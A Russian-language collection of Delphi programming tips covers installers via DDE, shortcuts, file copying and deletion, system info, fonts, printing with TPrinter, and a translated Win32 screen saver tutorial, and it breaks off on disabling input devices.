• Главная
• В избранное
• Наш E-MAIL
• Добавить материал
• Нашёл ошибку
• Вниз

Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь — использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов — объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:

Function TForm2.ProgmanCommand(Command:string):boolean;

 var macrocmd:array[0..88] of char;

begin

 DDEClient.SetLink('PROGMAN','PROGMAN');

 DDEClient.OpenLink; { Устанавливаем связь по DDE }

 strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }

 ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);

 DDEClient.CloseLink; { Закрываем связь по DDE }

end;

При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:

Create(Имя группы, путь к GRP файлу)

Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.

Delete(Имя группы)

Удалить группу с именем "Имя группы"

ShowGroup(Имя группы, состояние)

Показать группу в окне, причем состояние — число, определяющее параметры окна:

1 — нормальное состояние + активация

2 — миним.+ активация

3 — макс. + активация

4 — нормальное состояние

5 — Активация

AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)

Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos — координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize — тип запуска, 0 — в обычном окне, <>0 — в минимизированном.

DeleteItem(имя раздела)

Удалить раздел с указанным именем в активной группе

Пример использования:

ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');

ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');

где path — строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');

uses ShlObj, ComObj, ActiveX;

procedure CreateLink(const PathObj, PathLink, Desc, Param: string);

var

 IObject: IUnknown;

 SLink: IShellLink;

 PFile: IPersistFile;

begin

 IObject := CreateComObject(CLSID_ShellLink);

 SLink := IObject as IShellLink;

 PFile := IObject as IPersistFile;

 with SLink do begin

  SetArguments(PChar(Param));

  SetDescription(PChar(Desc));

  SetPath(PChar(PathObj));

 end;

 PFile.Save(PWChar(WideString(PathLink)), FALSE);

end;

Следующий текст убирает команду «закрыть» из системного меню и одновременно делает серой кнопку «закрыть» в заголовке формы: 

procedure TForm1.FormCreate(Sender: TObject);

var hMenuHandle:HMENU;

begin

 hMenuHandle := GetSystemMenu(Handle, FALSE);

 IF (hMenuHandle <> 0) THEN DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);

end;

Type

 TCallBack=procedure(Position,Size:Longint); {Для индикации процесса копирования}

procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);

Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }

Type

 PBuffer = ^TBuffer;

 TBuffer = array [1..BufSize] of Byte;

var

 Size : integer;

 Buffer : PBuffer;

 infile, outfile : File;

 SizeDone,SizeFile: Longint;

begin

 if (InFileName <> OutFileName) then begin

  buffer := Nil;

  AssignFile(infile, InFileName);

  System.Reset(infile, 1);

  try

   SizeFile := FileSize(infile);

   AssignFile(outfile, OutFileName);

   System.Rewrite(outfile, 1);

   try

    SizeDone := 0; New(Buffer);

    repeat

     BlockRead(infile, Buffer^, BufSize, Size);

     Inc(SizeDone, Size);

     CallBack(SizeDone, SizeFile);

     BlockWrite(outfile,Buffer^, Size)

    until Size < BufSize;

    FileSetDate(TFileRec(outfile).Handle,

    FileGetDate(TFileRec(infile).Handle));

   finally

    if Buffer <> Nil then Dispose(Buffer);

    System.close(outfile)

   end;

  finally

   System.close(infile);

  end;

 end else Raise EInOutError.Create('File cannot be copied into itself');

end;

Procedure FileCopy(Const SourceFileName, TargetFileName: String);

Var

 S,T : TFileStream;

Begin

 S := TFileStream.Create(sourcefilename, fmOpenRead );

 try

  T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);

  try

   T.CopyFrom(S, S.Size ) ;

   FileSetDate(T.Handle, FileGetDate(S.Handle));

  finally

   T.Free;

  end;

 finally

  S.Free;

 end;

end;

uses LZExpand;

procedure CopyFile(FromFileName, ToFileName : string);

var

 FromFile, ToFile: File;

begin

 AssignFile(FromFile, FromFileName);

 AssignFile(ToFile, ToFileName);

 Reset(FromFile);

 try

  Rewrite(ToFile);

  try

   if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then raise Exception.Create('Error using LZCopy')

  finally

   CloseFile(ToFile);

  end;

 finally

  CloseFile(FromFile);

 end;

end;

uses ShellApi; // !!! важно

function WindowsCopyFile(FromFile, ToDir : string) : boolean;

 var F : TShFileOpStruct;

begin

 F.Wnd := 0; F.wFunc := FO_COPY;

 FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);

 ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);

 F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

 result:=ShFileOperation(F) = 0;

end;

// пример копирования

procedure TForm1.Button1Click(Sender: TObject);

begin

 if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then ShowMessage('Copy Failed');

end;

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);

var

 OpStruc: TSHFileOpStruct;

 frombuf, tobuf: Array [0..128] of Char;

Begin

 FillChar( frombuf, Sizeof(frombuf), 0 );

 FillChar( tobuf, Sizeof(tobuf), 0 );

 StrPCopy( frombuf, 'h:\hook\*.*' );

 StrPCopy( tobuf, 'd:\temp\brief' );

 With OpStruc DO Begin

  Wnd:= Handle;

  wFunc:= FO_COPY;

  pFrom:= @frombuf;

  pTo:=@tobuf;

  fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;

  fAnyOperationsAborted:= False;

  hNameMappings:= Nil;

  lpszProgressTitle:= Nil;

 end;

 ShFileOperation( OpStruc );

end;

{ Удалить каталог со всем содержимым }

function DeleteDir(Dir : string) : boolean;

Var

 Found : integer;

 SearchRec : TSearchRec;

begin

 result:=false;

 if IOResult<>0 then ;

 ChDir(Dir);

 if IOResult<>0 then begin

  ShowMessage('Не могу войти в каталог: '+Dir); exit;

 end;

 Found := FindFirst('*.*', faAnyFile, SearchRec);

 while Found = 0 do begin

  if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then

   if (SearchRec.Attr and faDirectory)<>0 then begin

    if not DeleteDir(SearchRec.Name) then exit;

   end else

    if not DeleteFile(SearchRec.Name) then begin

     ShowMessage('Не могу удалить файл: '+SearchRec.Name); exit;

    end;

  Found := FindNext(SearchRec);

 end;

 FindClose(SearchRec);

 ChDir('..'); RmDir(Dir);

 result:=IOResult=0;

end;

Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi — программа COA):

Procedure GetInfo;

Var

 WinVer, WinFlags : LongInt; { Версия Windows и флаги }

 hInstUser, Fmt : Word; { Дескриптор }

 Buffer : ARRAY[0..30] OF Char; { Буфер под ASCIIZ строку }

begin

 hInstUser := LoadLibrary('USER'); { Открыли библиотеку User }

 LoadString(hInstUser, 514, Buffer, 30);

 LabelUserName.Caption := StrPas(Buffer); { Имя пользователя }

 LoadString(hInstUser, 515, Buffer, 30);

 FreeLibrary(hInstUser);

 LabelCompName.Caption := StrPas(Buffer); { Компания }

 WinVer := GetVersion;

 LabelWinVer.Caption := Format('Windows %u.%.2u', { Версия Windows }

  [LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);

 LabelDosVer.Caption := Format('DOS %u.%.2u', { Версия DOS }

  [HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);

 WinFlags := GetWinFlags;

 IF WinFlags AND WF_ENHANCED > 0 THEN LabelWinMode.Caption := '386 Enhanced Mode' { Режим }

 ELSE IF WinFlags AND WF_PMODE > 0 THEN LabelWinMode.Caption := 'Standard Mode'

 ELSE LabelWinMode.Caption := 'Real Mode';

 IF WinFlags AND WF_80x87 > 0 THEN { Сопроцессор }

  ValueMathCo.Caption := 'Present'

 ELSE ValueMathCo.Caption := 'Absent';

 Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);

 ValueFSRs.Caption := Format('%d%% Free', [Fmt1]); { Свободно ресурсов }

 { Свободно памяти}

 ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 1024) + ' KB Free';

end;

Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:

{$IFDEF WIN32}

AddFontResource( PChar( my_font_PathName { AnsiString } ) );

{$ELSE}

var ss: array [ 0..255 ] of Char;

AddFontResource(StrPCopy(ss, my_font_PathName));

{$ENDIF}

SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);

Убрать его по окончании работы:

{$IFDEF WIN32}

RemoveFontResource ( PChar(my_font_PathName) );

{$ELSE}

RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));

{$ENDIF}

SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );

При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) — содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял.

1. Пишем в блокноте RC-файл, куда прописываем все нужные нам программы, например:

ARJ EXEFILE C:\UTIL\ARJ.EXE

2. Компилируем его в ресурс при помощи Brcc32.exe. Получаем RES-файл.

3. Далее в тексте нашей программы:

implementation

{$R *.DFM}

{$R test.res} //Это наш RES-файл

procedure ExtractRes(ResType, ResName, ResNewName : String);

var

 Res : TResourceStream;

begin

 Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));

 Res.SavetoFile(ResNewName);

 Res.Free;

end;

procedure TForm1.BitBtn1Click(Sender: TObject);

 begin

 // Записывает в текущую папку arj.exe

 ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');

end;

Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.

Пример:

Application.Initialize;

if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE'  then Application.CreateForm(TSetupForm, SetupForm) // форма инсталлятора

else Application.CreateForm(TMainForm, MainForm); // форма основной программы

Application.Run;

С помощью Image Editor из комплекта Delphi3 создаю ресурс содержащий иконки и добавляю его в свой проект. Как известно, одна иконка в ресурсе может иметь два вида 32×32 и 16×16, которые отображаются соответственно при выборе крупных и мелких значков. Я создаю оба изображения, но после компиляции отображается только 16×16 (при крупных значках оно растягивается). Как мне сделать так, чтобы отображались обе иконки?

1. Такая штука работает только под Win 95-98, а в NT вторая икона не учитывается 

2. Для редактирования подобных иконок лучше использовать либо Borlad Resourse Workshop или Visual C++ (для иконок годится но для всего остального, извините!) 

Delphi имеет стандартный объект для доступа к принтеру — TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" — не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers:

PROPERTY

Aborted:boolean — Показывает, что процесс печати прерван

Canvas:Tcanvas — Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст… Тут есть несколько особенностей, они описаны после описания объекта.

Fonts:Tstrings — Возвращает список шрифтов, поддерживаемых принтером

Handle:HDS — Получить Handle на принтер для использования функций API (см. Далее)

Orientation:TprinterOrientation — Ориентация листа при печати : (poPortrait, poLandscape)

PageHeight:integer — Высота листа в пикселах

PageNumber:integer — Номер страницы, увеличивается на 1 при каждом NewPage

PageWidth:integer — Ширина листа в пикселах

PrinterIndex:integer — Номер используемого принтера по списку доступных принтеров Printers

Printers:Tstrings — Список доступных принтеров

Printing:boolean — Флаг, показывающий, что сейчас идет процесс печати

Title:string — Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати

METODS

AssignPrn(f:TextFile) — Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.

Abort — Сбросить печать

BeginDoc — Начать печать

NewPage — Начать новую страницу

EndDoc — Завершить печать.

Пример :

Procedure TForm1.Button1Click(Sender: TObject);

Begin

 With Printer do Begin

  BeginDoc; { Начало печати }

  Canvas.Font:=label1.font; { Задали шрифт }

  Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }

  EndDoc; { Конец печати }

 end;

end;

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново

2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и, главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".

3. У TPrinter информация о принтере, по видимому, определяются один раз — в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.

Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter — Printer.Handle. Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;

Index – код параметра, который необходимо вернуть. Для Index существует ряд констант:

DriverVersion — вернуть версию драйвера

Texnology — Технология вывода, их много, основные

 dt_Plotter — плоттер

 dt_RasPrinter — растровый принтер

 dt_Display — дисплей

HorzSize — Горизонтальный размер листа (в мм)

VertSize — Вертикальный размер листа (в мм)

HorzRes — Горизонтальный размер листа (в пикселах)

VertRes — Вертикальный размер листа (в пикселах)

LogPixelX — Разрешение по оси Х в dpi (пиксел /дюйм)

LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)

Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.

Параметры, возвращаемые по LogPixelX и LogPixelY очень важны — они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:

Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }

begin

 PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);

 PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);

end;

Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }

begin

 PrinterCoordX:=round(PixelsX/25.4*x);

end;

Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }

begin

 PrinterCoordY:=round(PixelsY/25.4*Y);

end;

---------------------------------

GetPrinterInfo;

Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),

 'Этот текст печатается с отступом 30 мм от левого края и '+

 '55 мм от верха при любом разрешении принтера');

Данную методику можно с успехом применять для печати картинок — зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) — микроскопической.

1. В файл проекта (*.DPR) добавить строку {$D SCRNSAVE <название хранителя>} после строки подключения модулей (Uses...).

2. У окна формы убрать системное меню, кнопки и придать свойству WindowState значение wsMaximize.

3. Предусмотреть выход из хранителя при нажатии на клавиши клавиатуры, мыши и при перемещении курсора мыши.

4. Проверить параметры с которым был вызван хранитель и если это /c — показать окно настройки хранителя, а иначе (можно проверять на /s, а можно и не проверять) сам хранитель. /p — для отображения в окне установок хранителя экрана.

5. Скомпилировать хранитель экрана.

6. Переименовать *.EXE файл в файл *.SCR и скопировать его в каталог WINDOWS\SYSTEM\.

7. Установить новый хранитель в настройках системы!

Название хранителя может состоять из нескольких слов с пробелами, на любом языке.

При работе хранителя необходимо прятать курсор мыши, только не забывайте восстанавливать его после выхода.

Все параметры и настройки храните в файле .INI, так как хранитель и окно настройки не связаны друг с другом напрямую.

Старайтесь сделать свой хранитель как можно меньше и быстрее. Иначе ваши долго работающие (в фоновом режиме) приложения будут работать еше дольше!

{в файле *.DPR}

{$D SCRNSAVE Пример хранителя экрана}

{проверить переданные параметры}

IF (ParamStr(1) = '/c') OR (ParamStr(1) = '/C') THEN

 {скрыть курсор мыши}

 ShowCursor(False);

{восстановить курсор мыши}

ShowCursor(True);

Более подробно о создании хранителя экрана "по всем правилам"

Screen Saver in Win95

Главное о чем стоит упомянуть это, что ваш хранитель экрана будет работать в фоновом режиме и он не должен мешать работе других запущенных программ. Поэтому сам хранитель должен быть как можно меньшего объема. Для уменьшения объема файла в описанной ниже программе не используется визуальные компоненты Delphi, включение хотя бы одного из них приведет к увеличению размера файла свыше 200кб, а так, описанная ниже программа, имеет размер всего 20кб!!!

Технически, хранитель экрана является нормальным EXE файлом (с расширением .SCR), который управляется через командные параметры строки. Например, если пользователь хочет изменить параметры вашего хранителя, Windows выполняет его с параметром "-c" в командной строке. Поэтому начать создание вашего хранителя экрана следует с создания примерно следующей функции:

Procedure RunScreenSaver;

Var S : String;

Begin

 S := ParamStr(1);

 If (Length(S) > 1) Then Begin

  Delete(S,1,1); { delete first char - usally "/" or "-" }

  S[1] := UpCase(S[1]);

 End;

 LoadSettings; { load settings from registry }

 If (S = 'C') Then RunSettings

 Else If (S = 'P') Then RunPreview

 Else If (S = 'A') Then RunSetPassword

 Else RunFullScreen;

End;

Поскольку нам нужно создавать небольшое окно предварительного просмотра и полноэкранное окно, их лучше объединить используя единственный класс окна. Следуя правилам хорошего тона, нам также нужно использовать многочисленные нити. Дело в том, что, во-первых, хранитель не должен переставать работать даже если что-то "тяжелое" случилось, и во-вторых, нам не нужно использовать таймер.

Процедура для запуска хранителя на полном экране — приблизительно такова:

Procedure RunFullScreen;

Var

 R : TRect;

 Msg : TMsg;

 Dummy : Integer;

 Foreground : hWnd;

Begin

 IsPreview := False; MoveCounter := 3;

 Foreground := GetForegroundWindow;

 While (ShowCursor(False) > 0) do ;

 GetWindowRect(GetDesktopWindow,R);

 CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,0);

 CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);

 SystemParametersInfo(spi_ScreenSaverRunning,1,@Dummy,0);

 While GetMessage(Msg,0,0,0) do Begin

  TranslateMessage(Msg);

  DispatchMessage(Msg);

 End;

 SystemParametersInfo(spi_ScreenSaverRunning,0,@Dummy,0);

 ShowCursor(True);

 SetForegroundWindow(Foreground);

End;

Во-первых, мы проинициализировали некоторые глобальные переменные (описанные далее), затем прячем курсор мыши и создаем окно хранителя экрана. Имейте в виду, что важно уведомлять Windows, что это — хранителя экрана через SystemParametersInfo (это выводит из строя Ctrl-Alt-Del чтобы нельзя было вернуться в Windows не введя пароль). Создание окна хранителя:

Function CreateScreenSaverWindow(Width,Height : Integer;  ParentWindow : hWnd) : hWnd;

Var WC : TWndClass;

Begin

 With WC do Begin

  Style := cs_ParentDC;

  lpfnWndProc := @PreviewWndProc;

  cbClsExtra := 0; cbWndExtra := 0; hIcon := 0; hCursor := 0;

  hbrBackground := 0; lpszMenuName := nil;

  lpszClassName := 'MyDelphiScreenSaverClass';

  hInstance := System.hInstance;

 end;

 RegisterClass(WC);

 If (ParentWindow 0) Then

  Result := CreateWindow('MyDelphiScreenSaverClass','MySaver', 

   ws_Child Or ws_Visible or ws_Disabled,0,0,

   Width,Height,ParentWindow,0,hInstance,nil)

 Else Begin

  Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',

   ws_Visible or ws_Popup,0,0,Width,Height, 0,0,hInstance,nil);

   SetWindowPos(Result,hwnd_TopMost,0,0,0,0,swp_NoMove or swp_NoSize or swp_NoRedraw);

 End;

 PreviewWindow := Result;

End;

Теперь окна созданы используя вызовы API. Я удалил проверку ошибки, но обычно все проходит хорошо, особенно в этом типе приложения.

Теперь Вы можете погадать, как мы получим handle родительского окна предварительного просмотра ? В действительности, это совсем просто: Windows просто передает handle в командной строке, когда это нужно. Таким образом:

Procedure RunPreview;

Var

 R : TRect;

 PreviewWindow : hWnd;

 Msg : TMsg;

 Dummy : Integer;

Begin

 IsPreview := True;

 PreviewWindow := StrToInt(ParamStr(2));

 GetWindowRect(PreviewWindow,R);

 CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,PreviewWindow);

 CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);

 While GetMessage(Msg,0,0,0) do Begin

  TranslateMessage(Msg); DispatchMessage(Msg);

 End;

End;

Как Вы видите, window handle является вторым параметром (после "-p").

Чтобы "выполнять" хранителя экрана — нам нужна нить. Это создается с вышеуказанным CreateThread. Процедура нити выглядит примерно так:

Function PreviewThreadProc(Data : Integer) : Integer; StdCall;

Var R : TRect;

Begin

 Result := 0; Randomize;

 GetWindowRect(PreviewWindow,R);

 MaxX := R.Right-R.Left; MaxY := R.Bottom-R.Top;

 ShowWindow(PreviewWindow,sw_Show); UpdateWindow(PreviewWindow);

 Repeat

  InvalidateRect(PreviewWindow,nil,False);

  Sleep(30);

 Until QuitSaver;

 PostMessage(PreviewWindow,wm_Destroy,0,0);

End;

Нить просто заставляет обновляться изображения в нашем окне, спит на некоторое время, и обновляет изображения снова. А Windows будет посылать сообщение WM_PAINT на наше окно (не в нить !). Для того, чтобы оперировать этим сообщением, нам нужна процедура:

Function PreviewWndProc(Window : hWnd; Msg,WParam, LParam : Integer): Integer; StdCall;

Begin

 Result := 0;

 Case Msg of

  wm_NCCreate : Result := 1;

  wm_Destroy : PostQuitMessage(0);

  wm_Paint : DrawSingleBox; { paint something }

  wm_KeyDown : QuitSaver := AskPassword;

  wm_LButtonDown, wm_MButtonDown, wm_RButtonDown, wm_MouseMove :

  Begin

   If (Not IsPreview) Then Begin

    Dec(MoveCounter);

    If (MoveCounter <= 0) Then QuitSaver := AskPassword;

   End;

  End;

  Else Result := DefWindowProc(Window,Msg,WParam,LParam);

 End;

End;

Если мышь перемещается, кнопка нажала, мы спрашиваем у пользователя пароль:

Function AskPassword : Boolean;

Var

 Key : hKey;

 D1,D2 : Integer; { two dummies }

 Value : Integer;

 Lib : THandle;

 F : TVSSPFunc;

Begin

 Result := True;

 If (RegOpenKeyEx(hKey_Current_User,'Control Panel\Desktop',0,

  Key_Read,Key) = Error_Success) Then Begin

  D2 := SizeOf(Value);

  If (RegQueryValueEx(Key,'ScreenSaveUsePassword',nil,@D1, @Value,@D2) = Error_Success) Then Begin

   If (Value 0) Then Begin

    Lib := LoadLibrary('PASSWORD.CPL');

    If (Lib > 32) Then Begin

     @F := GetProcAddress(Lib,'VerifyScreenSavePwd');

     ShowCursor(True);

     If (@F nil) Then Result := F(PreviewWindow);

     ShowCursor(False);

     MoveCounter := 3; { reset again if password was wrong }

     FreeLibrary(Lib);

    End;

   End;

  End;

  RegCloseKey(Key);

 End;

End;

Это также демонстрирует использование registry на уровне API. Также имейте в виду как мы динамически загружаем функции пароля, используюя LoadLibrary. Запомните тип функции?

TVSSFunc ОПРЕДЕЛЕН как:

Type

 TVSSPFunc = Function(Parent : hWnd) : Bool; StdCall;

Теперь почти все готово, кроме диалога конфигурации. Это запросто:

Procedure RunSettings;

Var Result : Integer;

Begin

 Result := DialogBox(hInstance,'SaverSettingsDlg',0,@SettingsDlgProc);

 If (Result = idOK) Then SaveSettings;

End;

Трудная часть — это создать диалоговый сценарий (запомните: мы не используем здесь Delphi формы!). Я сделал это, используя 16-битовую Resource Workshop (остался еще от Turbo Pascal для Windows). Я сохранил файл как сценарий (текст), и скомпилированный это с BRCC32:

SaverSettingsDlg DIALOG 70, 130, 166, 75

STYLE WS_POPUP | WS_DLGFRAME | WS_SYSMENU

CAPTION "Settings for Boxes"

FONT 8, "MS Sans Serif"

BEGIN

DEFPUSHBUTTON "OK", 5, 115, 6, 46, 16

PUSHBUTTON "Cancel", 6, 115, 28, 46, 16

CTEXT "Box &Color:", 3, 2, 30, 39, 9

COMBOBOX 4, 4, 40, 104, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS

CTEXT "Box &Type:", 1, 4, 3, 36, 9

COMBOBOX 2, 5, 12, 103, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS

LTEXT "Boxes Screen Saver for Win32 Copyright (c) 1996 Jani Järvinen.", 7, 4, 57, 103, 16, WS_CHILD | WS_VISIBLE | WS_GROUP

END

Почти также легко сделать диалоговое меню:

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;

Var S : String;

Begin

 Result := 0;

 Case Msg of

  wm_InitDialog : Begin

   { initialize the dialog box }

   Result := 0;

  End;

  wm_Command : Begin

   If (LoWord(WParam) = 5) Then EndDialog(Window,idOK)

   Else If (LoWord(WParam) = 6) Then EndDialog(Window,idCancel);

  End;

  wm_Close : DestroyWindow(Window);

  wm_Destroy : PostQuitMessage(0);

  Else Result := 0;

 End;

End;

После того, как пользователь выбрал некоторые установочные параметры, нам нужно сохранить их.

Procedure SaveSettings;

Var

 Key : hKey;

 Dummy : Integer;

Begin

 If (RegCreateKeyEx(hKey_Current_User,

  'Software\SilverStream\SSBoxes',

  0,nil,Reg_Option_Non_Volatile,

  Key_All_Access,nil,Key,

  @Dummy) = Error_Success) Then Begin

  RegSetValueEx(Key,'RoundedRectangles',0,Reg_Binary,

   @RoundedRectangles,SizeOf(Boolean));

  RegSetValueEx(Key,'SolidColors',0,Reg_Binary, @SolidColors,SizeOf(Boolean));

  RegCloseKey(Key);

 End;

End;

Загружаем параметры так:

Procedure LoadSettings;

Var

 Key : hKey;

 D1,D2 : Integer; { two dummies }

 Value : Boolean;

Begin

 If (RegOpenKeyEx(hKey_Current_User,

  'Software\SilverStream\SSBoxes',0,

  Key_Read, Key) = Error_Success) Then Begin

  D2 := SizeOf(Value);

  If (RegQueryValueEx(Key,'RoundedRectangles',nil,@D1, @Value, @D2) = Error_Success) Then Begin

   RoundedRectangles := Value;

  End;

  If (RegQueryValueEx(Key,'SolidColors',nil,@D1, @Value,@D2) = Error_Success) Then  Begin

   SolidColors := Value;

  End;

  RegCloseKey(Key);

 End;

End;

Легко? Нам также нужно позволить пользователю установить пароль. Я честно не знаю почему это оставлено разработчику приложений? Тем не менее:

Procedure RunSetPassword;

Var

 Lib : THandle;

 F : TPCPAFunc;

Begin

 Lib := LoadLibrary('MPR.DLL');

 If (Lib > 32) Then Begin

  @F := GetProcAddress(Lib,'PwdChangePasswordA');

  If (@F nil) Then F('SCRSAVE',StrToInt(ParamStr(2)),0,0);

  FreeLibrary(Lib);

 End;

End;

Мы динамически загружаем (недокументированную) библиотеку MPR.DLL, которая имеет функцию, чтобы установить пароль хранителя экрана, так что нам не нужно беспокоиться об этом.

TPCPAFund ОПРЕДЕЛЕН как:

Type

 TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) : Integer; StdCall;

(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, — самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.

Procedure DrawSingleBox;

Var

 PaintDC : hDC;

 Info : TPaintStruct;

 OldBrush : hBrush;

 X,Y : Integer;

 Color : LongInt;

Begin

 PaintDC := BeginPaint(PreviewWindow,Info);

 X := Random(MaxX); Y := Random(MaxY);

 If SolidColors Then

  Color := GetNearestColor(PaintDC,RGB(Random(255), Random(255),Random(255)))

 Else Color := RGB(Random(255),Random(255),Random(255));

 OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color));

 If RoundedRectangles Then

  RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20)

 Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y));

 DeleteObject(SelectObject(PaintDC,OldBrush));

 EndPaint(PreviewWindow,Info);

End;

Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:

Var

 IsPreview : Boolean;

 MoveCounter : Integer;

 QuitSaver : Boolean;

 PreviewWindow : hWnd;

 MaxX,MaxY : Integer;

 RoundedRectangles : Boolean;

 SolidColors : Boolean;

Затем исходная программа проекта (.dpr). Красива, а!?

program MySaverIsGreat;

uses

 windows, messages, Utility; { defines all routines }

{$R SETTINGS.RES}

begin

 RunScreenSaver;

end.

Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу.

Конец.

Use Val... ;-)

перевод: Владимиров А.М.

От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).

Иногда может возникнуть необходимость в выключении на время устройств ввода — клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования… Однако наилучшее ее применение — отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:

EnableHadwareInput(Enable:boolean): boolean;

